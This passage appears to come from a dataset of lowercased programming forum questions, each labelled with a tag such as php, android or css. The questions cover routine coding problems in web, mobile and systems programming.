</code></pre>   <strong>correct</strong>   <pre><code>animbytimeout.then( ).catch(... </code></pre>   thanks for all examples and helps.,javascript
angular short condition statement  i am trying to make some statement based on value first time in angular  but i dont like the way i have two of elements that checks  this is what i have   <pre><code>&lt;h4 class= modal-title  ng-show= ::model.trainingmodel.name !== undefined &gt;{{ edit_training  | translate}}&lt;/h4&gt; &lt;h4 class= modal-title  ng-show= ::model.trainingmodel.name === undefined &gt;{{ new_training  | translate}}&lt;/h4&gt; </code></pre>   is it possible that someone help me to make it shorter,angularjs
what is the difference between using `align:center` and `margin: 0 auto` to center an element in css   i have read in a lot of places to center elements (a div for example) using <code>margin:0 auto</code>.<br> but why not use <code>align:center</code>  i think it seems more natural to use the later.    also will the alignment using <code>margin</code> work vertically too,css
how to prevent items in listview to be stable  here i am having two linear layout placed with in a linearlayout (orientation horizontal). my layout1 is black and my layout2 contains listview.    here  i am able to drag image from listview and drop it to my layout1 but what is my problem is each time i am dropping the items(images) from listview to layout1  my items in listview is getting removed as well.    i think the problem is somewhere inside here...please help me to know   <pre><code>case dragevent.action_drop:                 // dropped  reassign view to viewgroup                 view view = (view) event.getlocalstate();                 //                 viewgroup owner = (viewgroup) view.getparent();                 owner.removeview(view);                 linearlayout container = (linearlayout) v;                // container.addview(view);                linearlayout.layoutparams params = new linearlayout.layoutparams(300  300);                 container.addview(view  params);                 params.leftmargin = 10;                 params.topmargin = 10;                 view.setvisibility(view.visible);               //  view.setondraglistener(new mydraglistener());                 break; </code></pre>   i use this and it works for me finally    <strong>code:</strong>      case dragevent.action_drop:   <pre><code>                imageview old = (imageview) view;                 final imageview newimage = new imageview(context);                 newimage.setimagebitmap(((bitmapdrawable) old.getdrawable()).getbitmap());                 container1.addview(newimage);  //adding to the  layout                 view.setvisibility(view.visible); </code></pre>,android
include one html file in another html file using server side include  how can i include an html file in another html file. is there any simple way to do that     thanks,html
how to save a file using php   i m currently making subscribe form  i got the html ready but i got problems in the php:   <pre><code>&lt; php     $name = $_post[ name ];     $email = $_post[ email ];     $message = $_post[ message ];  &gt; </code></pre>   now i got them using php  how can i save them.    i need like to save them anywhere so i can like check them anytime.    like i would open a .txt where it saves and then i find the list of emails and names and messages.,php
php / sql code inside php function not working  i have a certain php &amp; mysql code.  the code works fine when its not inside a php function  code is below:   <pre><code>require connection.php ;  $sql =  select name_english from team ; $result = $conn-&gt;query($sql); if ($result-&gt;num_rows &gt; 0)  {        // output data of each row       while($row = $result-&gt;fetch_assoc()) {           echo $row[name_english];       } } </code></pre>   when i use the same exact code but inside a php function and call  the function at the end of the file  it does not work.,php
problems handling text input  i have a problem with my code. i m working my final project using opengl c++.      i want to create a code about simulation 2d in opengl. in my simulation  i ask the user to input how many objects can be shown in the application. my problem is the input can not detect characters  but can detect the numeric if out of range. i have create a code for handle if out of range  range about character not function.    for example : i input the character of  a   want to show error handling. like  maaf  jumlah inputan anda tidak berada dalam range.   so only input the numeric.   <pre><code>void inputan(){  printf( aplikasi simulasi animasi semut\n\n );  printf( silahkan inputkan jumlah semut antara 1 - 50 :  ); scanf( %f  &amp;input);  if(input &gt; 50 || input &lt; 1){     ulang(); }  char a =  a ; int aa=a; else if(input == aa){     ulang(); } } void ulang(){  printf( ---------------------------------------------------\n );  printf( maaf  jumlah inputan anda tidak berada dalam range.\n );  printf( silahkan inputkan jumlah semut antara 1 - 50 :  );scanf( %f  &amp;input);  if(input &gt; 50 || input &lt; 1){ ulang(); } char a =  a ; int aa=a; else if(input == aa){     ulang(); } } </code></pre>,c
interview test - adding using a recursive algorithm c#  below is an interview question about using recursion to add two arrays.    i can t figure it out though because it does not seem to allow any kind of index to keep track of where you are  i have been down a few roads - trying to test for null / default values in the array but because it is a byte[] type nothing worked.    any help would be great thanks - this is not a homework question.   <pre><code>public addresult usingarecursivealgorithm_valuesareadded(byte[] a  byte[] b) {     var result = addrecursive(a  b);      // assert      return new addresult(a  b  result); } </code></pre>   e.g.   <blockquote>    input : { 1  1  1 }  { 1  1  1 }        result: { 2  2  2 }        input : { 1  1  255 }  { 0  0  1 }        result: { 1  2  0 }  </blockquote>   conditions:    a &amp; b are never null  and are always of the same length.     the algorithm should be non destructive to the inputs.    edit: the second result is incorrect. it should be { 1 1 0 } -that s the way it was presented though.,c#
re-assignment of variable doesn t work  i have a puzzling problem -- it seems like it should be so easy to do but somehow it is not working.  i have an object called player.  the manager class has four instances of player:   <pre><code>@interface manager {     player *p1  *p2  *mcurrentplayer  *mcurrentopponent;   } // @property... </code></pre>   the manager object has initplayers and swapplayers methods.   <pre><code>-(void) initplayers {  // this works fine     self.p1 = [[player alloc] init];     self.p2 = [[player alloc] init];     self.mcurrentplayer = self.p1;     self.mcurrentopponent = self.p2; }  -(void) swapplayers {  // this swapping of pointer doesn t work     self.mcurrentplayer = self.p2;     self.mcurrentopponent = self.p1;      // when i look at the pointer in debugger  self.mcurrentplayer is still self.p1.  :-(      // i even tried first setting them to nil       // or first releasing them (with an extra retain on assignment) to no avail } </code></pre>   what am i missing   thanks in advance!,objective-c
c++  class  doesnt name a type  i have a bit of a problem but not sure what it is.    header.h:    <pre><code>#ifndef continent_h_included #define continent_h_included  #include &lt;string&gt; #include &lt;vector&gt;  class territory; class player;  namespace sep {    //----------------------------------------------------------------------------   // continent class   // class consist of many territories    //   class continent   {     private:       public:        //--------------------------------------------------------------------------       // constructor       //       continent();         //--------------------------------------------------------------------------       // copy constructor       // makes a copy of another continent object.       // @param original original to copy.       //       continent(const continent&amp; original);         //--------------------------------------------------------------------------       // assignment operator       // used to assign one continent to another       // @param original original with values to copy.       //       continent&amp; operator= (continent const&amp; original);         //--------------------------------------------------------------------------       // destructor       //  included   virtual ~continent();    //--------------------------------------------------------------------------   // constructor to forward attributes   //   continent(std::string name  std::vector&lt;territory*&gt; territories);    }; }  #endif  // continent_h_included </code></pre>   .cpp:   <pre><code>#include  continent.h   //------------------------------------------------------------------------------ continent::continent() {  }  //------------------------------------------------------------------------------ continent::continent(std::string name  std::vector&lt;territory*&gt; territories) :                  name_(name)  territories_(territories) {  } //------------------------------------------------------------------------------ continent::~continent() {  } </code></pre>   sorry for putting in the whole code but i dont want to take any risks.  error: g++ -wall -g -c -o continent.o continent.cpp -mmd -mf ./continent.o.d continent.cpp:13:1: error: ‘continent’ does not name a type    from that i got that it is a problem between the header define and the .cpp but whats the problem there i cant see it.     thx for any help :),c++
post is not working in mvc <pre><code>   **view:**    @model businesslayer.family    @{      layout =  ~/views/shared/_layout.cshtml ;     }     @using (html.beginform( familydetails    family   formmethod.post))     {      &lt;input id= btn_submit  type= submit  value= submit  /&gt;     }      **controller:**     [httpget]     public actionresult familydetails()     {         family mymodel = new family();         return view(mymodel);     }      [httppost]     public string familydetails()     {         return  family ;     } </code></pre>   without using layout post is working.when i am using layout get is firing instead of post.please help me.thank you,.net
how i send email from iphone   i want to send automatically an email to sender (hard coded email id) from iphone on particular timeinterval. how i send an email automatically without using ui of mfmailcomposeviewcontroller class     thanks.,iphone
permutation on rails routes  i currently have an application that for a set of parameters (location  category  budget  ...) a user can enter a  pretty  url like:   <blockquote>    /location/canada/ontario<br>   /category/primary<br>   /budget/small    </blockquote>   resulting in the respective parameters:   <pre><code>params[:country] ==  canada  and params[:region] ==  ontario  params[:category] ==  primary  params[:budget] ==  small   </code></pre>   i want to allow users to perform searches on multiple parameters at once (with each parameter optional). for example:   <blockquote>    /location/canada/ontario/category/primary/budget/small<br>      /location/canada/ontario/category/primary      /budget/small/category/primary      /category/primary/budget/small  </blockquote>   i understand that this can be achieved using url parameters  but for seo reasons i prefer to add the  pretty  parameters. is this at all possible without listing all possible combination of routes (i have a large number of search-able fields)  i understand that route  globbing  maybe play a roll  but i am not sure how.    thanks.,ruby-on-rails
how can i link to a file in an email   when i m sending mail form in my app i can attach some files. but in the email it looks like <code>aeb6fe78271a1f2f51c7b84981b9e8df.png</code> how can i show link to file,ruby-on-rails
rails with ajax retrive data from database  i am basic to rails and ajax. i have rails query to retrieve data from three table using joins. i want to retrieve data by selecting the date option  result should same page <a href= https://i.stack.imgur.com/guthc.png  rel= nofollow noreferrer >enter image description here</a>    following is the rails query   <pre><code>@query = itemtype.select( name  item_id  sum(quantity) as total_quantity_itemwise  sum(price_value) as item_total_amount  price_value  order_items.created_at date ).joins( inner join items on items.item_type = item_types.id    inner join order_items on order_items.item_id = items.id ).group( item_id ).order(  order_items.created_at ) </code></pre>,ruby-on-rails
relation of two squares  my homework is to make a program which draws 2 squares  and than determines if they cross  touch  inside of one another  or neither.    i use a two point system: the first is the top-left  the other is the bottom-right. then  i draw the lines between them.    can you  please  tell me a simple algorithm which determines which of these 4 cases happen     crossing:   <pre><code> ┌────┐  │  ┌──────────┐  │  │ │        │  └──│─┘        │     └──────────┘ </code></pre>   touching:   <pre><code> ┌────┐  │    │──────────┐  │    │          │  └────┘          │       └──────────┘ </code></pre>   inside of one another:   <pre><code>  ┌──────────┐   │  ┌────┐  │   │  └────┘  │   └──────────┘ </code></pre>   neither:   <pre><code> ┌────┐  │    │  ┌──────────┐  │    │  │          │  └────┘  │          │          └──────────┘ </code></pre>,c#
how to get elements  value in javascript  i ve the follow code for get the value fot two input and send it to a ajax file for proccess it. it doesn t work and i put an alert for see what s wrong and the alert return me [object htmlinputelement].    <pre><code>&lt;tr&gt;     &lt;td&gt;introduzca licencia: &lt;/td&gt;     &lt;td&gt;&lt;input type= text  id= lic  name= lic  value=  /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;introduzca apellidos: &lt;/td&gt;     &lt;td&gt;&lt;input type= text  id= ape  name= ape  value=  /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;script type= text/javascript &gt;     var lic=document.getelementbyid( lic ).value;     var ape=document.getelementbyid( ape ).value;                       &lt;/script&gt; &lt;tr&gt;     &lt;td&gt;&lt;input type= button  value= buscar  onclick= load(lic  ape); /&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>   if i try that it return the value of the input   <pre><code>&lt;script type= text/javascript &gt;     function prueba(){         var lic=document.getelementbyid( lic ).value;         var ape=document.getelementbyid( ape ).value;         alert( la licencia es:  +lic+  y los apellidos son:  +ape);    } &lt;/script&gt; &lt;tr&gt;    &lt;td&gt;&lt;input type= button  value= buscar  onclick= prueba(); /&gt;&lt;/td&gt; </code></pre>   i don t know why the first code doesn t work if i m making the variables of the same way.,javascript
error when compiling <pre><code>#include&lt;stdio.h&gt;  int main()  {    int c  nl;    nl = 0;    while ((c = getchar()) ! = eof){     if (c == \n ){       nl++;     }     printf( %d\n   nl);   }  } </code></pre>   when i tried to compile using <code>gcc -o fun2 countline.c</code>  i get this error    <pre><code>countline.c: in function  main : countline.c:12:26: error: expected  )  before  !  token </code></pre>   what is causing this error  what am i missing  i can t figure it out.,c
objective-c how to get an image from a url  am having some difficulty getting an image from a url  and then displaying it in an image well in the interface.     this is the code i m currently using  it doesn t work and compiles with no errors:    <pre><code>nsurl *url = [nsurl urlwithstring:@ http://www.nataliedee.com/061105/hey-whale.jpg ];  nsstring *newimage = [[nsstring alloc] initwithcontentsofurl:url encoding:nsutf8stringencoding error:nil];  [imageview setimage:[nsimage imagenamed:newimage]]; </code></pre>   any ideas as to what is wrong here,objective-c
elegant way to split first and last name from a string with multiple punctuations  i have a script where i need to extract the first and last name from a string and flip the two. the string looks like this:     <blockquote>    name: lastname  firstname  </blockquote>   i came across this solution for my problem:     <pre><code>if  name:   in line:     for namevalue  fname in [q.split(   ) for q in line.split( ; )]:        for name  lname in [q.split( : ) for q in cnvalue.split( ; )]:            namefinal=fname.strip() +     + lname.strip() </code></pre>   i was wondering if there would be a more elegant way of actually writing this simple line of code.,python
confirm device build settings and is there a way to automate the process  this is a two parter-    1) i d like to confirm things to turn on or off prior to loading an app to a device as a  release  (not for debugging). at some point i read to uncheck load symbols lazily in prefs > debugger while debugging code. however  i d like confirm if that needs to be checked on again for a release. second  i have an argument set for my project executable as nszombieenabled = yes. do i need to unset that prior to loading to the device     2) is there a way to add the above items to something like the project > project settings > build area so that  when in debug these things have the right settings  and when in release they also have the right settings     thanks,iphone
what is wrong with the following code;  i am trying to use and learn virtual functions but my first attempt is a mess. iam a newbie  go easy on me. the code is pretty straight forward.   <pre><code>#include &lt;iostream&gt; #include &lt;string.h&gt; using namespace std;  class milk {     string strname;//the string that hold the product name  public:     milk(string namestr):strname(namestr)//the default constructor     {}     string getname()     {         return strname;//the only name return function     }      virtual void taste()     {         cout&lt;&lt; iam sweet and liquid ;     }  };  class chocolate:public milk { public:     chocolate(string pname):milk(pname)     {}     virtual void taste()     {         cout&lt;&lt;  iam sweet and solid ;     } };  class butter:public milk { public:     butter(string cname):milk(cname)     {}     virtual const void taste()     {     cout&lt;&lt;  iam sour and solid ;     } };  int main() {     chocolate choc( kitkat );     cout&lt;&lt; hi!! i am &lt;&lt;choc.getname()&lt;&lt;choc.taste();//error is here     butter butt( amul );     cout&lt;&lt; hi!! iam  &lt;&lt;butt.getname()&lt;&lt;butt.taste();//also here     cin.get(); } </code></pre>   there  there were the errors  should i pass the virtual functions as pointers or what is it,c++
objective c  memory leaking  <pre><code>- (void)parser:(nsxmlparser *)parser didstartelement:(nsstring *)elementname    namespaceuri:(nsstring *)namespaceuri   qualifiedname:(nsstring *)qname      attributes:(nsdictionary  *)attributedict{      //currentelenet is nsstring     currentelement = [elementname copy];      if ([elementname isequaltostring:@ struct ]) {                self.post = [[question alloc] init];      } }  - (void)parser:(nsxmlparser  *)parser foundcharacters:(nsstring  *)string{      if ([currentelement isequaltostring:@ string ]) {         post.text = [nsstring stringwithformat:@ %@ %@   post.text  string];     } }  -(void)parser:(nsxmlparser *)parser didendelement:(nsstring *)elementname  namespaceuri:(nsstring *)namespaceuri  qualifiedname:(nsstring *)qname{      if ([elementname isequaltostring:@ struct ]) {          [conversations addobject:post];         [post release];         post = nil;     } }  //question.m file  @synthesize text  -(id)init{      self = [super init];     if (self == nil) {      }     else {             //declared as retain in .h file         text = [[nsstring alloc]initwithstring:@  ];     }     return self; }  -(void)dealloc{     [super dealloc];     [title release]; } </code></pre>   do you guys see any memory leaking here  i call nsxml delegate methods and it basically put an instance of  question  into nsmutablearray. i checked instrument and there is a memory leak while parsing it. but i don t see why...,objective-c
rails access belongs_to fields in .where query  in rails  i want to assign all objects meeting a certain condition to a variable. i would typically do this with a statement like:   <pre><code>pending_requests = request.all.where(:requestee_id =&gt; current_user.id) </code></pre>   i now want to do something similar for an exchange class  which belongs_to the request class.   <pre><code>pending_exchanges = exchange.all.where(  =&gt; current_user.id) </code></pre>   the   needs to equal whatever code is necessary to compare the requestee_id field in the specific request object that the exchange object belongs to. there is a field request_id in the exchange object which holds the id of the request object it belongs to.,ruby-on-rails
validation two things with if statement  sorry i couldn t find a better topic for this topic.    i have a cart page and i am changing for two things... the code i am about to show you works but i want to combine them.   <pre><code>if (!isset($_session[ cart_array ]) || count($_session[ cart_array ]) &lt; 1) </code></pre>   the code above check if the cart is empty   <pre><code>if ($_session[ user ][ accesslvl ] == null) { *this code check if the user is logged in or not.* </code></pre>   <strong>my question</strong> i have a <code>form</code> and i want to show this form on the page <strong>only</strong> when the cart is <strong>not</strong> empty. <code>if</code> is the cart is empty the form shouldn t show. <strong>also</strong> if the user is already sign in  the form <code>shouldn t</code> show.   <pre><code>echo   &lt;form name= login  action= login.php &gt;  &lt;/form&gt; ; </code></pre>   <strong>i tired this</strong>   <pre><code>if (!isset($_session[ cart_array ]) || count($_session[ cart_array ]) &lt; 1) { } else {  if ($_session[ user ][ accesslvl ] == null) { echo   &lt;form name= login  action= login.php &gt;  &lt;/form&gt; ;  } else {  } } </code></pre>   <strong>summary</strong> <code>should only  if user is not logged in</code> the form should only show when they is something(item) in the cart <code>and</code> if the user is <code>not</code> logged it.    <code>should not</code> if the user is logged in already  the form should not show because they is no point asking someone to log in twice.    can someone help me please. thanks,php
upload image from client machine to server  i want to upload image on server whose path is specified in xls file. i am using upload control to upload that xls file. xls file structure is as below    productname         price              imagepath    product1                 10                c:\product1.jpg       product2                 10                c:\product2.jpg       product3                 10                c:\product3.jpg       product4                 10                c:\product4.jpg      i just want to know that it is possible to upload that image,asp.net
what is the difference between these unicode classes   say i wanted to convert a string into a utf8 byte array  i could do it via   <pre><code>system.text.encoding.utf8.getbytes(...) </code></pre>   or   <pre><code>system.text.unicodeencoding.utf8.getbytes(...) </code></pre>   or   <pre><code>system.text.utf8encoding.utf8.getbytes(...) </code></pre>   as far as i can tell there is no difference between them. are they all referring to the same thing  why are there so many,.net
jquery tablesorter parser for datetime in mm.dd.yyyy hh:mi am format  i am having a 4 column table in which the 2nd column is a date column with the following format  mm.dd.yyyy hh:mi am . the default tablesorter doesn t sort by date column correctly. i had to write my own parser in tablesorter but it is still not working for me. i am not sure if the regex used is correct or not and if anyone can point me the mistake in the code below  i would appreciate your help.   <pre><code>ts.addparser( {     id:  srsdate       is: function (s) {         return /\d{1 2}\.\d{1 2}\.\d{1 4} \d{1 2}:\d{1 2}\s(am|pm)/.test(s);     }      format: function (s) {         s = s.replace(/\./g     );         s = s.replace(/\:/g     );         s = s.replace( am    0 );         s = s.replace( pm    1 );         s = s.split(   );         return $.tablesorter.formatfloat(new date(s[0]  s[1]  s[2]  s[3]  s[4]  s[5]).gettime() + parseint(s[6]));     }      type:  numeric   }); </code></pre>   and i call it like:   <pre><code>myapp.sort = function () {     $(myapp.config.tblhistory).tablesorter({ headers: { 1: { sorter:  srsdate } }  sortlist: [[0  0]] }); } </code></pre>   i referenced: <a href= https://stackoverflow.com/questions/1707840/date-sorting-problem-with-jquery-tablesorter >date sorting problem with jquery tablesorter</a> to build the new parser. the results of the sort is not working. it doesn t sort the data at all.,jquery
how to update angular $watchcollection when changing an attribute  hello i have a little bit of a problem when i update an attribute of my array of objects in a parent controller.    the $scope.items contain an array of objects.   <pre><code>$scope.items = ticket.items;  $scope.$watchcollection( items   function () {    console.log( xxxx ); }); </code></pre>   now in another controller child controller. i m looping thrue the ticket.items (by the way the ticket is a service that has a property name items that is an array of objet)   <pre><code>ticket.items.foreach(function (item) {   item.qty = 55; }); </code></pre>   now the problem is that i m updating a item property of the ticket.items and the $watchcollection is not executing. it only executes when i push something to the ticket.items array.,angularjs
broadcast receiver for testing network state not working  i´m trying to check the internet connection of wifi and mobile through a broadcastreceiver . a toast should show the connectivity changes . i register the receiver but it doesn´t shows the changes .   <pre><code>    package com.axa.conetividad;  import android.content.broadcastreceiver; import android.content.context; import android.content.intent; import android.content.intentfilter; import android.net.connectivitymanager; import android.net.networkinfo; import android.support.v4.content.localbroadcastmanager; import android.support.v7.app.appcompatactivity; import android.os.bundle; import android.widget.toast;  public class mainactivity extends appcompatactivity {       //muestra si el display debe de ser refrescada     public static boolean availableconnection = false;     public boolean isreceiverregistered = false;      networkreceiver networkreceiver;      @override     protected void oncreate(bundle savedinstancestate) {          super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         networkreceiver = new networkreceiver();         registerreceiver();     }       @override     public void onresume() {         super.onresume();         registerreceiver();     }      @override     public void onpause() {         super.onpause();         localbroadcastmanager.getinstance(this).unregisterreceiver(networkreceiver);         isreceiverregistered = false;     }      private void registerreceiver() {         if (!isreceiverregistered) {             //registra el broadcastreceiver para hacer el track de la red             intentfilter filter = new intentfilter();             filter.addaction(connectivitymanager.connectivity_action);             localbroadcastmanager.getinstance(this).registerreceiver(networkreceiver  filter);             isreceiverregistered = true;         }     }       public class networkreceiver extends broadcastreceiver {          @override         public void onreceive(context context  intent intent) {              //monitoreamos la conexión             connectivitymanager conn = (connectivitymanager) context.getsystemservice(context.connectivity_service);             networkinfo networkinfo = conn.getactivenetworkinfo();              if (networkinfo != null &amp;&amp; networkinfo.gettype() == connectivitymanager.type_wifi &amp;&amp; networkinfo.isconnected()) {                 availableconnection = true;                 toast.maketext(context    wifi   toast.length_short).show();              } else if (networkinfo != null &amp;&amp; networkinfo.gettype() == connectivitymanager.type_mobile &amp;&amp; networkinfo.isconnected()) {                 availableconnection = true;                 toast.maketext(context   mobile   toast.length_short).show();              } else {                 availableconnection = false;                 toast.maketext(context   no internet connection   toast.length_short).show();             }          }     }  } </code></pre>   here is my manifest.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; </code></pre>      <pre><code>&lt;uses-permission android:name= android.permission.access_network_state  /&gt; &lt;uses-permission android:name= android.permission.change_network_state  /&gt; &lt;uses-permission android:name= android.permission.internet  /&gt;  &lt;application     android:allowbackup= true      android:icon= @mipmap/ic_launcher      android:label= @string/app_name      android:supportsrtl= true      android:theme= @style/apptheme &gt;     &lt;activity android:name= .mainactivity &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.main  /&gt;             &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt; &lt;/application&gt; </code></pre>,android
how is this argument making its way to a called function   code:   <pre><code>function ondeviceready() {     window.requestfilesystem(localfilesystem.persistent  0  gotfs  fail); }  function gotfs(filesystem) {     filesystem.root.getfile( readme.txt   {create: true  exclusive: false}  gotfileentry  fail); } </code></pre>   what i don t understand is how does filesystem get passed when there are no arguments passed with gotfs in the requestfilesystem,javascript
bootstrap carousel - how increase only the height  im having a css issue with boostrap carousel    i just want to make it higher  i ve tried several css and nothing worked. the code is in this jsfiddle  <a href= http://jsfiddle.net/et4pc  rel= nofollow >http://jsfiddle.net/et4pc</a>   <pre><code>&lt;div id= mycarousel  class= carousel slide  style= width: 400px; margin: 0 auto &gt;   &lt;div class= carousel-inner &gt;     &lt;div class= item &gt;        ....  &lt;/div&gt; </code></pre>,css
get data from a pastebin raw  i m trying on form load  to make it count the number of lines in a pastebin raw &amp; return the value to a textbox. been racking my brains and still cant figure it out.   <pre><code>textbox1.text = new webclient().downloadstring( yourlink ). </code></pre>,c#
"center image vertically in div  basically screen is split in 2 part  left for logo  right for sponsor image.    i would like to vertical align the two image in center of screen. now images are align on top of screen. i don t understand how to solve. can you give some hint     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#logo {
     float:left;
     width: 50%;
     height:100%;
 }
 #imglogo {
     height:100%;
 }
 #sponsor {
     float:left;
     width: 50%;
     height:100%;
     background:#ffffff;
     display: inline-block;
     vertical-align: middle;
 }
 #imgsponsor {
     max-height:90%;
     max-width:90%;
     display: inline-block;
     vertical-align: middle;
 }
 .app {
     position:absolute;
     left:0%;
     top:0%;
     height:100%;
     width:100%;
     text-align:center;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= app &gt;
     &lt;div id= logo &gt;
         &lt;img id= imglogo  src= logo.png &gt;
     &lt;/div&gt;
 
     &lt;div id= sponsor &gt;
         &lt;a href= # &gt;
             &lt;img id= imgsponsor  src= http://www.foo.bar/wp-content/uploads/2017/10/foobar.jpg &gt;
         &lt;/a&gt;
     &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
why intl.numberformat has no  parser  function   why intl.numberformat has no  parser  function     typically  i need to parse internationalized money strings  like  1.200.500 00 €  or  1 200 500 00 €  with <code>&amp;#160;</code> in place of spaces.    i don t want a regex  too localized solution.    regex is a only a workaround  not a solution.,javascript
how can i access a file uploaded to a sftp server   after we upload a file to a sftp site   i want to go that sftp site and check whether the file has been uploaded or not  so i wanted to know how we could access the sftp site from the address bar and look for the file. if my domain name is test.com how could i access it to check for the file,java
can we apply .skin file themes to client controls(html)  we can apply styles through .css by giving property class name:    ex: <code>&lt;input type= text  class= stylesheet  id= txtname  /&gt;</code>    but in server control(asp) there is a property called skinid  by this way we can access.    ex: <code>&lt;asp:textbox skinid= datalistcolor  id= textbox1  runat= server &gt;&lt;/asp:textbox&gt;</code>    so  can we apply styles to html controls through .skin files,asp.net
socket_recv packet missing bytes php  im trying to receive a packet on php  but looks like socket_recv lose some bytes.    i know the packet was sended ok:   <pre><code>0:13:58.951742 ip 192.168.0.101.1458 &gt; 192.168.0.107.8000: flags [p.]  seq 1:7  ack 1  win 64240  length 6     0x0000:  4500 002e 631d 4000 8006 158c c0a8 0065  e...c.@........e     0x0010:  c0a8 006b 05b2 1f40 6557 d628 4e87 cadd  ...k...@ew.(n...     0x0020:  5018 faf0 e808 0000 0068 6f6c 6100       p........hola. </code></pre>   and the data sended is: 0000 0068 6f6c 6100    but whit:   <pre><code>socket_recv($socket  $buffer  100  0); echo bin2hex($buffer);  echo unpack( h*   $buffer); </code></pre>   im getting on both echo s: 00686f6c6100    that means:   <pre><code>sended:  0000 0068 6f6c 6100 receive:   00   68 6f6c 6100 </code></pre>   what im doing wrong     thanks.    edit: i found the problem. was on the code. thanks!,php
__contains__ syntax  ive written a python program that used multiple instances of the <strong>contains</strong>  syntax to look inside dictionaries and lists.   <pre><code>if not test_map[var].__contains__(string): </code></pre>   it seems that i would of been better to use :   <pre><code>if string not in test_map[var]: </code></pre>   does anyone know the issues that can occur is using the <code>__contains__</code> method      thanks,python
what on earth the real value of the int_min ，char_min  long_min and so on in c   there is a problem which makes me very puzzled today.when i read the appendix b  b11  the content of  of  the c programming language   i found that it s saying the int_min is -32767  and int_min is also 32767. but  in fact  the -int_max should be greater than int_max by 1  shouldn t it     and i have tried to find the answer on the net  and found something information about  saying that the int_max has been defined to the (-int_max - 1)  and something other information is same to the tcpl.    in my program the print of the int_min is all -2147483648 and greater than -int_max by 1; so  does there have something wrong in the c programming language    <pre><code>#include &lt;stdio.h&gt; #include &lt;limits.h&gt; int main() {     signed int i1  i11;          printf( signed int:\n%d  %d\n   int_min  int_max);     i1 = i11 = 6;:     for(;i1 &lt;= i11; --i1);     printf( %d     ++i1);     for(;i1 &gt;= i11; ++i1);     printf( %d\n   --i1);     return 0; }   </code></pre>,c
php read and write an image in url  i would like to resize an image in url such as <code>localhost/changimage.php percent=40</code>. i have already resized it in php. but user should resize it by typing in url here is my php code:<code>changimage.php</code>   <pre><code>&lt; php   $filename =  /var/www/html/zahir/images/bike.jpeg ;    $percent = 0.5;     header( content-type: image/jpeg );      list($width  $height) = getimagesize($filename);       $new_width = $width * $percent;         $new_height = $height * $percent;           $image_p = imagecreatetruecolor($new_width  $new_height);    $image = imagecreatefromjpeg($filename) ; imagecopyresampled($image_p  $image  0  0  0  0  $new_width  $new_height  $width  $height);    imagejpeg($image_p  null  100);    &gt; </code></pre>   i have no idea how to do it in url.,php
wading through .net as a newb  to date i ve done a lot of low-level programming (kernel-mode device drivers  native code  etc.) on both windows and unix with c++  c and ada95.  i m considering to make a career jump to application-specific programming where i can learn a business alongside software development and not just be a low-level hardware interface guy.    besides learning sql and basic databases  for various reasons  i ve decided to go with the .net stack rather than the java stack.  i m not really interested in uis  but more so server and back-end development for the time being  so i m trying to avoid tech like wpf and css/javascript/ajax for now.    what .net technologies should i be trying to learn to make myself more  modern  and competitive in the job market   do i need to try to master linq  ado.net  asp.net  and wcf as well,.net
angularjs- popup loading time issue  am using angularjs. for opening popup am using  createdialogservice.     createdialogservice( mypopup.html       {     });     if am using like this means popup is getting loaded after long time.  am facing performance issue.     i need to show fraction of seconds.     any one knows please update me. thank in advance,angularjs
mysql column data returned as comma delimited list  i currently have a mysql table like:   <pre><code>id | friend 1  |   2 1  |   5 1  |   10 3  |   6 15 |   19 21 |   4 </code></pre>   i m trying to grab all the friend id s of one particular user and arrange them into a comma-delimited list. for example  grabbed user1 s friends  it would return as    <pre><code>$friend_list = 2 5 10 </code></pre>   currently  i have:    <pre><code>$sql =  select friend from table__friends where id =  .$user_id; </code></pre>   this only grabs one row though..please help!     thanks,mysql
new project create problem after android sdk update  all of my existing projects are fine but  starting new projects has problems...    it appears the main java file has the problem and the hover say s    <blockquote>     java type language cannot be   resolved  it is indirectly referenced   from required .class files   </blockquote>   i created the new projects just like i created the previous 50 projects (before updating the sdk).    very frustrating (other bugs in the new release  too)...    i deleted the new projects and imported them as suggested in other posts but  it didn t help.    i noticed the main layout (in graphic mode) say s     <blockquote>     the project target is not set   </blockquote>   i don t know what that means given that the layout is within the project folder.  the build target is set to android 1.6    also (this may be the issue) i get a message panel when finishing the project creation that say s the android    <blockquote>    sdk/tools/lib/proguard.cfg(no such   files or directory)  </blockquote>   which  is true  there isn t one and that was a new addition to the sdk...    any suggestion...   thanks,android
userprincipal.current takes 1-2 minutes to return  i have the performance problem with my current program:    i am trying to retrieve the current user object (so i can get the full name) using:   <pre><code>userprincipal.current </code></pre>   during the first couple of times my program works just fine and returns the correct object immediately  but when i restart my program in debug sessions a little bit too often  it slows done drastically and needs 1-2min. so  it returns about 5-10 times without any delay  and on the 11th try and all following tries  the object is retrieved with a huge delay of 1-2 mins. after a complete restart of the pc  the behaviour will be reset to no delay again.    any idea  why this could be the case     edit:\ as requested  here is the code  that is performing weird:   <pre><code>[export(typeof(iadmanager))] public class admanager : iadmanager {     public string getfullname()     {         try         {             return userprincipal.current.displayname;             }         catch         {             return string.empty;         }     } } </code></pre>   (it is not the .displayname  i sperated it into too statements before  it really gets stuck during the .current),c#
how to convert date text with javascript   how to convert this   <pre><code>sun jan 08 2012 00:00:00 gmt+0530 (sri lanka standard time) </code></pre>   into   <pre><code>2012-01-08 </code></pre>   with javascript     regards    <strong>edit:</strong>     i was actually working with extjs and didn t know there is a built in way to do this with extjs    so i manage to do this   <pre><code>var date = new date( sun jan 08 2012 00:00:00 gmt+0530 (sri lanka standard time) ); console.log(ext.date.format(date   y-m-d )); </code></pre>   which gives me <strong>2012-01-08</strong>,javascript
